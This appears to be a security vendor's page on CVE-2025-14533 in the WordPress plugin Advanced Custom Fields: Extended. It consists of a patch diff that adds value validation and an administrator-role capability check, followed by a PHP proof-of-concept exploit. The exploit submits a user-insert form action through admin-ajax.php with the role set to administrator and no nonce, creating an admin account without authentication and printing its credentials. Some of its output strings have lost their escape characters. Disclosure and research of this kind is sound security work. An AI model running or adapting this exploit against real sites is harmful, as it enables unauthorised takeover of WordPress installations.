     var $save_post_terms = array();
@@ -267,7 +267,8 @@
             'post_id'   => 0,
             's'         => '',
             'field_key' => '',
-            'paged'     => 0
+            'paged'     => 0,
+            'include'   => '',
         ));

         // load field
@@ -282,9 +283,14 @@

         // vars
         $results = array();
+
+        // include
+        if(!empty($options['include'])){
+            $args['include'] = $options['include'];
+        }

         // search
-        if($options['s'] !== '') {
+        if($options['s'] !== ''){

             // strip slashes (search may be integer)
             $s = wp_unslash(strval($options['s']));
@@ -294,6 +300,12 @@

         }

+        // if there is an include set
+        // we will unset search to avoid attempting to further filter by the search term.
+        if(isset($args['include'])){
+            unset($args['s']);
+        }
+
         //vars
         $name = $field['name'];
         $key = $field['key'];
@@ -1139,6 +1151,76 @@

     }

+
+    /**
+     * validate_front_value
+     *
+     * @param $valid
+     * @param $value
+     * @param $field
+     * @param $input
+     * @param $form
+     *
+     * @return false
+     */
+    function validate_front_value($valid, $value, $field, $input, $form){
+
+        // bail early
+        if(!$this->pre_validate_front_value($valid, $value, $field, $form)){
+            return $valid;
+        }
+
+        // cast array
+        $value = acf_get_array($value);
+
+        // loop values
+        foreach($value as $v){
+
+            // get term
+            $term = get_term($v);
+
+            // check post exists
+            if(!$term || is_wp_error($term)){
+                return false;
+            }
+
+            // query terms
+            $query = $this->get_ajax_query(array(
+                'field_key' => $field['key'],
+                'post_id'   => $form['post_id'],
+                'include'   => $v,
+            ));
+
+            // bail early
+            if(empty($query)){
+                return false;
+            }
+
+            // get results
+            $results = acf_maybe_get($query, 'results');
+            $results = acf_get_array($results);
+
+            // loop results
+            $found = false;
+            foreach($results as $result){
+                if((int) $result['id'] === (int) $v){
+                    $found = true;
+                    break;
+                }
+            }
+
+            // term not found
+            if(!$found){
+                return false;
+            }
+
+        }
+
+        // return
+        return $valid;
+
+    }
+

     /**
      * save_post
--- a/acf-extended/includes/fields/field-taxonomy.php
+++ b/acf-extended/includes/fields/field-taxonomy.php
@@ -65,6 +65,51 @@

     }

+
+    /**
+     * validate_front_value
+     *
+     * @param $valid
+     * @param $value
+     * @param $field
+     * @param $input
+     * @param $form
+     *
+     * @return false
+     */
+    function validate_front_value($valid, $value, $field, $input, $form){
+
+        // bail early
+        if(!$this->pre_validate_front_value($valid, $value, $field, $form)){
+            return $valid;
+        }
+
+        // cast array
+        $value = acf_get_array($value);
+
+        // loop values
+        foreach($value as $v){
+
+            // get post
+            $term = get_term($v);
+
+            // check term exists
+            if(!$term || is_wp_error($term)){
+                return false;
+            }
+
+            // check if term is part of $field['taxonomy']
+            if(!in_array($term->taxonomy, (array) $field['taxonomy'], true)){
+                return false;
+            }
+
+        }
+
+        // return
+        return $valid;
+
+    }
+
 }

 acf_new_instance('acfe_field_taxonomy');
--- a/acf-extended/includes/fields/field-user-roles.php
+++ b/acf-extended/includes/fields/field-user-roles.php
@@ -6,7 +6,7 @@

 if(!class_exists('acfe_field_user_roles')):

-class acfe_field_user_roles extends acf_field{
+class acfe_field_user_roles extends acfe_field{

     /**
      * initialize
@@ -30,6 +30,7 @@
             'layout'                => '',
             'toggle'                => 0,
             'allow_custom'          => 0,
+            'other_choice'          => 0,
         );

     }
@@ -421,6 +422,48 @@

     }

+
+    /**
+     * validate_front_value
+     *
+     * @param $valid
+     * @param $value
+     * @param $field
+     * @param $input
+     * @param $form
+     *
+     * @return false
+     */
+    function validate_front_value($valid, $value, $field, $input, $form){
+
+        // bail early
+        if(!$this->pre_validate_front_value($valid, $value, $field, $form)){
+            return $valid;
+        }
+
+        // custom value allowed
+        if(!empty($field['allow_custom']) || !empty($field['other_choice'])){
+            return $valid;
+        }
+
+        $value = acf_get_array($value);
+        $choices = acf_get_array($field['user_role']);
+
+        // empty choices
+        if(empty($choices)){
+            return $valid;
+        }
+
+        // check values against choices
+        if(!empty(array_diff($value, $choices))){
+            return false;
+        }
+
+        // return
+        return $valid;
+
+    }
+

     /**
      * translate_field
--- a/acf-extended/includes/fields/field-user.php
+++ b/acf-extended/includes/fields/field-user.php
@@ -0,0 +1,109 @@
+<?php
+
+if(!defined('ABSPATH')){
+    exit;
+}
+
+if(!class_exists('acfe_field_user')):
+
+class acfe_field_user extends acfe_field_extend{
+
+    /**
+     * initialize
+     */
+    function initialize(){
+
+        $this->name = 'user';
+
+    }
+
+
+    /**
+     * validate_front_value
+     *
+     * @param $valid
+     * @param $value
+     * @param $field
+     * @param $input
+     * @param $form
+     *
+     * @return false
+     */
+    function validate_front_value($valid, $value, $field, $input, $form){
+
+        // bail early
+        if(!$this->pre_validate_front_value($valid, $value, $field, $form)){
+            return $valid;
+        }
+
+        // vars
+        $value = acf_get_array($value);
+
+        // loop value
+        foreach($value as $user_id){
+
+            // check value
+            if(!$this->is_value_valid($user_id, $field, $form['post_id'])){
+                return false;
+            }
+
+        }
+
+        // return
+        return $valid;
+
+    }
+
+
+    /**
+     * is_value_valid
+     *
+     * @param $user_id
+     * @param $field
+     * @param $post_id
+     *
+     * @return bool
+     */
+    function is_value_valid($user_id, $field, $post_id){
+
+        // bail early
+        if(empty($user_id)){
+            return false;
+        }
+
+        // check user exists
+        $user_data = get_userdata($user_id);
+        if(!$user_data){
+            return false;
+        }
+
+        // vars
+        $args = array();
+
+        // role
+        if(!empty($field['role'])){
+            $args['role__in'] = acf_get_array($field['role']);
+        }
+
+        // filter
+        // this filter might be used by developers to set specific users as choices
+        $args = apply_filters('acf/fields/user/query', $args, $field, $post_id);
+
+        // override search args
+        $args['search'] = $user_id;
+        $args['search_columns'] = array('ID');
+
+        // query users
+        $query = new WP_User_Query($args);
+        $total_users = $query->get_total();
+
+        // check total found
+        return ($total_users > 0);
+
+    }
+
+}
+
+acf_new_instance('acfe_field_user');
+
+endif;
 No newline at end of file
--- a/acf-extended/includes/modules/form/module-form-action-user.php
+++ b/acf-extended/includes/modules/form/module-form-action-user.php
@@ -330,14 +330,10 @@
      */
     function validate_action($form, $action){

-        // check built-in validation
-        if(empty($action['validation'])){
-            return false;
-        }
-
         // errors
         $errors = array(
-            'empty_user_pass'           => __('An error has occured. Please try again', 'acfe'),
+            'generic'                   => __('An error has occured. Please try again', 'acfe'),
+            'empty_user_pass'           => __('Invalid username or password', 'acfe'),
             'invalid_email'             => __('Invalid e-mail', 'acfe'),
             'invalid_email_password'    => __('Invalid e-mail or password', 'acfe'),
             'invalid_username'          => __('Invalid username', 'acfe'),
@@ -354,6 +350,36 @@

         // apply tags
         $action = $this->setup_action($action, $form);
+
+        // security measure
+        // check 'promote_users' capability for insert/update administrator role
+        if($action['type'] === 'insert_user' || $action['type'] === 'update_user'){
+
+            // get role as array
+            $role = acf_get_array($action['save']['role']);
+
+            // check capability
+            if((in_array('administrator', $role, true) || in_array('super_admin', $role, true)) && !current_user_can('promote_users')){
+
+                // filters
+                $validate = true;
+                $validate = apply_filters("acfe/form/validate_user_admin_role",                          $validate, $form, $action);
+                $validate = apply_filters("acfe/form/validate_user_admin_role/form={$form['name']}",     $validate, $form, $action);
+                $validate = apply_filters("acfe/form/validate_user_admin_role/action={$action['name']}", $validate, $form, $action);
+
+                // should validate
+                if($validate){
+                    return acfe_add_validation_error('', $errors['generic']);
+                }
+
+            }
+
+        }
+
+        // check built-in validation
+        if(empty($action['validation'])){
+            return false;
+        }

         // switch type
         switch($action['type']){
@@ -1234,7 +1260,7 @@
                 'label' => __('Validation', 'acfe'),
                 'name' => 'validation',
                 'type' => 'true_false',
-                'instructions' => __('(Optional) Automatically validate fields', 'acfe'),
+                'instructions' => __('(Optional) Validate username and email fields.', 'acfe'),
                 'required' => 0,
                 'wrapper' => array(
                     'width' => '',
@@ -1243,7 +1269,7 @@
                     'data-instruction-placement' => 'field'
                 ),
                 'message' => __('Built-in validation', 'acfe'),
-                'default_value' => 0,
+                'default_value' => 1,
                 'ui' => false,
                 'ui_on_text' => '',
                 'ui_off_text' => '',
--- a/acf-extended/includes/modules/form/module-form-front-hooks.php
+++ b/acf-extended/includes/modules/form/module-form-front-hooks.php
@@ -23,6 +23,10 @@
         add_action('acfe/form/render_submit',        array($this, 'render_submit'), 9);
         add_action('acfe/form/render_after_form',    array($this, 'render_after_form'), 9);

+        add_action('acfe/form/validate_form',        array($this, 'validate_form'), 9);
+        add_action('acfe/form/submit_form',          array($this, 'submit_form'), 9);
+        add_filter('acfe/form/load_form',            array($this, 'load_form'), 19);
+
     }


@@ -145,6 +149,260 @@

     }

+
+    /**
+     * validate_form
+     *
+     * @param $form
+     *
+     * @return void
+     */
+    function validate_form($form){
+
+        // validate form
+        add_action("acfe/form/validate_form/form={$form['name']}", array($this, 'validate_actions'), 9);
+        do_action("acfe/form/validate_form/form={$form['name']}", $form);
+
+        // validate value
+        add_filter('acf/validate_value', array($this, 'validate_value'), 10, 4);
+
+    }
+
+
+    /**
+     * validate_actions
+     *
+     * @param $form
+     *
+     * @return void
+     */
+    function validate_actions($form){
+
+        // force array
+        $form['actions'] = acf_get_array($form['actions']);
+
+        // validate actions
+        foreach($form['actions'] as $action){
+
+            // tags context
+            acfe_add_context('action', $action);
+
+            // validate action
+            do_action("acfe/form/validate_{$action['action']}",                          $form, $action);
+            do_action("acfe/form/validate_{$action['action']}/form={$form['name']}",     $form, $action);
+            do_action("acfe/form/validate_{$action['action']}/action={$action['name']}", $form, $action);
+
+            // tags context
+            acfe_delete_context('action');
+
+        }
+
+    }
+
+
+    /**
+     * validate_value
+     *
+     * @param $valid
+     * @param $value
+     * @param $field
+     * @param $input
+     *
+     * @return void
+     */
+    function validate_value($valid, $value, $field, $input){
+
+        // get form
+        $form = acf_get_form_data('acfe/form');
+
+        // filter
+        add_filter('acfe/form/validate_value', array($this, 'validate_field_value'), 9, 5);
+        add_filter('acfe/form/validate_value', array($this, 'validate_field_value_after'), 999, 5);
+        $valid = apply_filters('acfe/form/validate_value', $valid, $value, $field, $input, $form);
+
+        return $valid;
+
+    }
+
+
+    /**
+     * validate_field_value
+     *
+     * @param $valid
+     * @param $value
+     * @param $field
+     * @param $input
+     * @param $form
+     *
+     * @return mixed|null
+     */
+    function validate_field_value($valid, $value, $field, $input, $form){
+
+        // variations
+        $valid = apply_filters("acfe/form/validate_value/form={$form['name']}",   $valid, $value, $field, $input, $form);
+        $valid = apply_filters("acfe/form/validate_value/type={$field['type']}",  $valid, $value, $field, $input, $form);
+        $valid = apply_filters("acfe/form/validate_value/name={$field['_name']}", $valid, $value, $field, $input, $form);
+        $valid = apply_filters("acfe/form/validate_value/key={$field['key']}",    $valid, $value, $field, $input, $form);
+
+        return $valid;
+    }
+
+
+    /**
+     * validate_field_value_after
+     *
+     * @param $valid
+     * @param $value
+     * @param $field
+     * @param $input
+     * @param $form
+     *
+     * @return mixed|null
+     */
+    function validate_field_value_after($valid, $value, $field, $input, $form){
+
+        // field is invalid and not required
+        if(!$valid && empty($field['required'])){
+            $valid = __('Validation failed', 'acf'); // add generic message
+        }
+
+        return $valid;
+    }
+
+
+    /**
+     * submit_form
+     *
+     * @param $form
+     *
+     * @return void
+     */
+    function submit_form($form){
+
+        add_action("acfe/form/submit_form/form={$form['name']}", array($this, 'submit_actions'), 9);
+        do_action("acfe/form/submit_form/form={$form['name']}", $form);
+
+    }
+
+
+    /**
+     * submit_actions
+     *
+     * @param $form
+     *
+     * @return void
+     */
+    function submit_actions($form){
+
+        // force array
+        $form['actions'] = acf_get_array($form['actions']);
+
+        // submit actions
+        foreach($form['actions'] as $action){
+
+            // tags context
+            acfe_add_context('action', $action);
+
+            // prepare action
+                        $action = apply_filters("acfe/form/prepare_{$action['action']}",                          $action, $form);
+            if($action){$action = apply_filters("acfe/form/prepare_{$action['action']}/form={$form['name']}",     $action, $form);}
+            if($action){$action = apply_filters("acfe/form/prepare_{$action['action']}/action={$action['name']}", $action, $form);}
+
+            if($action === false){
+                continue;
+            }
+
+            // make action
+            do_action("acfe/form/make_{$action['action']}", $form, $action);
+
+            // tags context
+            acfe_delete_context('action');
+
+        }
+
+    }
+
+
+    /**
+     * load_form
+     *
+     * @param $form
+     *
+     * @return false|mixed|null
+     */
+    function load_form($form){
+
+        if(!$form){
+            return false;
+        }
+
+        // load actions
+        add_filter("acfe/form/load_form/form={$form['name']}", array($this, 'load_actions'), 19);
+        return apply_filters("acfe/form/load_form/form={$form['name']}", $form);
+
+    }
+
+
+    /**
+     * load_actions
+     *
+     * @param $form
+     *
+     * @return mixed|null
+     */
+    function load_actions($form){
+
+        if(!$form){
+            return false;
+        }
+
+        // backup map without actions injecting values
+        $form['map_default'] = $form['map'];
+
+        // update context
+        acfe_add_context('form', $form);
+
+        // tags context
+        $opt = array('context' => 'display');
+
+        // apply tags
+        acfe_apply_tags($form['attributes']['form']['class'],           $opt);
+        acfe_apply_tags($form['attributes']['form']['id'],              $opt);
+        acfe_apply_tags($form['attributes']['fields']['wrapper_class'], $opt);
+        acfe_apply_tags($form['attributes']['fields']['class'],         $opt);
+        acfe_apply_tags($form['attributes']['submit']['value'],         $opt);
+        acfe_apply_tags($form['attributes']['submit']['button'],        $opt);
+        acfe_apply_tags($form['attributes']['submit']['spinner'],       $opt);
+        acfe_apply_tags($form['validation']['errors_class'],            $opt);
+
+        // deprecated
+        if(isset($form['return'])){
+            acfe_apply_tags($form['return'], $opt);
+        }
+
+        // load form per action
+        foreach($form['actions'] as $action){
+
+            // tags context
+            acfe_add_context('action', $action);
+
+            // load action
+            $form = apply_filters("acfe/form/load_{$action['action']}",                          $form, $action);
+            $form = apply_filters("acfe/form/load_{$action['action']}/form={$form['name']}",     $form, $action);
+            $form = apply_filters("acfe/form/load_{$action['action']}/action={$action['name']}", $form, $action);
+
+            // tags context
+            acfe_delete_context('action');
+
+        }
+
+        // update context
+        acfe_add_context('form', $form);
+
+        return $form;
+
+    }
+
 }

 acf_new_instance('acfe_module_form_front_render_hooks');
--- a/acf-extended/includes/modules/form/module-form-front.php
+++ b/acf-extended/includes/modules/form/module-form-front.php
@@ -13,63 +13,9 @@
      */
     function __construct(){

-        add_action('acf/validate_save_post',                    array($this, 'validate_save_post'), 1);
-        add_action('wp',                                        array($this, 'save_post'));
-
-        add_action('acfe/form/validate_form',                   array($this, 'validate_form'), 9);
-        add_action('acfe/form/submit_form',                     array($this, 'submit_form'), 9);
-        add_filter('acfe/form/load_form',                       array($this, 'load_form'), 19);
-        add_filter('acfe/form/set_form_data',                   array($this, 'set_form_data'), 10, 2);
-
-    }
-
-
-    /**
-     * validate_form
-     *
-     * @param $form
-     *
-     * @return void
-     */
-    function validate_form($form){
-
-        add_action("acfe/form/validate_form/form={$form['name']}", array($this, 'validate_actions'), 9);
-        do_action("acfe/form/validate_form/form={$form['name']}", $form);
-
-    }
-
-
-    /**
-     * submit_form
-     *
-     * @param $form
-     *
-     * @return void
-     */
-    function submit_form($form){
-
-        add_action("acfe/form/submit_form/form={$form['name']}", array($this, 'submit_actions'), 9);
-        do_action("acfe/form/submit_form/form={$form['name']}", $form);
-
-    }
-
-
-    /**
-     * load_form
-     *
-     * @param $form
-     *
-     * @return false|mixed|null
-     */
-    function load_form($form){
-
-        if(!$form){
-            return false;
-        }
-
-        // load actions
-        add_filter("acfe/form/load_form/form={$form['name']}", array($this, 'load_actions'), 19);
-        return apply_filters("acfe/form/load_form/form={$form['name']}", $form);
+        add_filter('acfe/form/set_form_data', array($this, 'set_form_data'), 10, 2);
+        add_action('acf/validate_save_post',  array($this, 'validate_save_post'), 1);
+        add_action('wp',                      array($this, 'save_post'));

     }

@@ -110,37 +56,6 @@


     /**
-     * validate_actions
-     *
-     * @param $form
-     *
-     * @return void
-     */
-    function validate_actions($form){
-
-        // force array
-        $form['actions'] = acf_get_array($form['actions']);
-
-        // validate actions
-        foreach($form['actions'] as $action){
-
-            // tags context
-            acfe_add_context('action', $action);
-
-            // validate action
-            do_action("acfe/form/validate_{$action['action']}",                          $form, $action);
-            do_action("acfe/form/validate_{$action['action']}/form={$form['name']}",     $form, $action);
-            do_action("acfe/form/validate_{$action['action']}/action={$action['name']}", $form, $action);
-
-            // tags context
-            acfe_delete_context('action');
-
-        }
-
-    }
-
-
-    /**
      * save_post
      *
      * wp
@@ -160,11 +75,6 @@
             $_POST['acf'] = array();
         }

-        // default acf
-        // this pass thru acf_sanitize_request_args() which use wp_kses
-        // and break block editor image metadata
-        // $_POST['acf'] = acf_maybe_get_POST('acf', array());
-
         // run kses on all $_POST data
         if($form['settings']['kses']){

@@ -240,44 +150,6 @@


     /**
-     * submit_actions
-     *
-     * @param $form
-     *
-     * @return void
-     */
-    function submit_actions($form){
-
-        // force array
-        $form['actions'] = acf_get_array($form['actions']);
-
-        // submit actions
-        foreach($form['actions'] as $action){
-
-            // tags context
-            acfe_add_context('action', $action);
-
-            // prepare action
-                        $action = apply_filters("acfe/form/prepare_{$action['action']}",                          $action, $form);
-            if($action){$action = apply_filters("acfe/form/prepare_{$action['action']}/form={$form['name']}",     $action, $form);}
-            if($action){$action = apply_filters("acfe/form/prepare_{$action['action']}/action={$action['name']}", $action, $form);}
-
-            if($action === false){
-                continue;
-            }
-
-            // make action
-            do_action("acfe/form/make_{$action['action']}", $form, $action);
-
-            // tags context
-            acfe_delete_context('action');
-
-        }
-
-    }
-
-
-    /**
      * get_form
      *
      * @param $form
@@ -365,67 +237,6 @@
     }


-    /**
-     * load_actions
-     *
-     * @param $form
-     *
-     * @return mixed|null
-     */
-    function load_actions($form){
-
-        if(!$form){
-            return false;
-        }
-
-        // backup map without actions injecting values
-        $form['map_default'] = $form['map'];
-
-        // update context
-        acfe_add_context('form', $form);
-
-        // tags context
-        $opt = array('context' => 'display');
-
-        // apply tags
-        acfe_apply_tags($form['attributes']['form']['class'],           $opt);
-        acfe_apply_tags($form['attributes']['form']['id'],              $

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14533 - Advanced Custom Fields: Extended <= 0.9.2.1 - Unauthenticated Privilege Escalation via Insert User Form Action

<?php

$target_url = 'https://vulnerable-site.com';

// Check if the target URL ends with slash
if (substr($target_url, -1) !== '/') {
    $target_url .= '/';
}

$ajax_url = $target_url . 'wp-admin/admin-ajax.php';

// Generate random user credentials to avoid collisions
$random_suffix = bin2hex(random_bytes(4));
$username = 'attacker_' . $random_suffix;
$email = 'attacker_' . $random_suffix . '@example.com';
$password = 'P@ssw0rd123!';

// Prepare the exploit payload
$post_data = [
    'action' => 'acfe/form/submit',
    // The form must have the 'role' field mapped in ACF Extended
    'acf' => [
        'field_user_login' => $username,
        'field_user_email' => $email,
        'field_user_pass' => $password,
        // This is the critical parameter - setting role to administrator
        'field_user_role' => 'administrator'
    ],
    // Form ID where user registration is configured
    'form' => 'user_registration_form',
    // Form action must be 'insert_user'
    'form_action' => 'insert_user',
    // Nonce is not required for this vulnerability
    '_acf_nonce' => ''
];

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Add headers to mimic legitimate browser request
$headers = [
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    'Content-Type: application/x-www-form-urlencoded',
    'Accept: application/json, text/javascript, */*; q=0.01',
    'X-Requested-With: XMLHttpRequest'
];
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Parse and display results
echo "Target: $target_urln";
echo "AJAX Endpoint: $ajax_urln";
echo "HTTP Status Code: $http_coden";
echo "Response: $responsenn";

// Check for success indicators
if ($http_code === 200) {
    if (strpos($response, '"success":true') !== false || strpos($response, 'user created') !== false) {
        echo "[+] SUCCESS: Administrator account created!n";
        echo "    Username: $usernamen";
        echo "    Password: $passwordn";
        echo "    Email: $emailn";
        echo "nAttempt login at: {$target_url}wp-login.phpn";
    } else {
        echo "[-] FAILED: Administrator account creation unsuccessful.n";
        echo "    The site may not have vulnerable configuration or plugin is patched.n";
        echo "    Required: ACF Extended frontend form with 'role' field mapped.n";
    }
} else {
    echo "[-] FAILED: HTTP error $http_coden";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School